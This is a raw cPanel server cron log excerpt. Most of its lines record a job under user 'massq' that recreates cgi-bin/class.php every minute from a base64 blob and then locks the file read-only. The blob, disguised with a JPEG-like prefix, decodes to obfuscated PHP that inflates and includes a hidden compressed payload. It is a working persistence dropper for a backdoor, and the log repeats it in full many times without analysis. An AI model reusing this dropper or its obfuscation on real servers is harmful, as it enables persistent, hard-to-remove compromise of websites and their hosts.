Nov 13 10:37:01 server CROND[8882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:38:01 server CROND[9826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:39:01 server CROND[10690]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:39:01 server CROND[10691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:40:01 server CROND[11617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:40:01 server CROND[11618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:40:01 server CROND[11619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:40:01 server CROND[11632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:41:02 server CROND[12533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:42:01 server CROND[13364]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:42:01 server CROND[13363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:43:01 server CROND[14222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:44:01 server CROND[15085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:45:01 server CROND[15877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:45:01 server CROND[15878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:45:01 server CROND[15881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:46:01 server CROND[16801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:47:01 server CROND[17675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:48:01 server CROND[18580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:49:01 server CROND[19444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:50:01 server CROND[20163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:50:01 server CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:50:01 server CROND[20168]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 10:50:01 server CROND[20167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
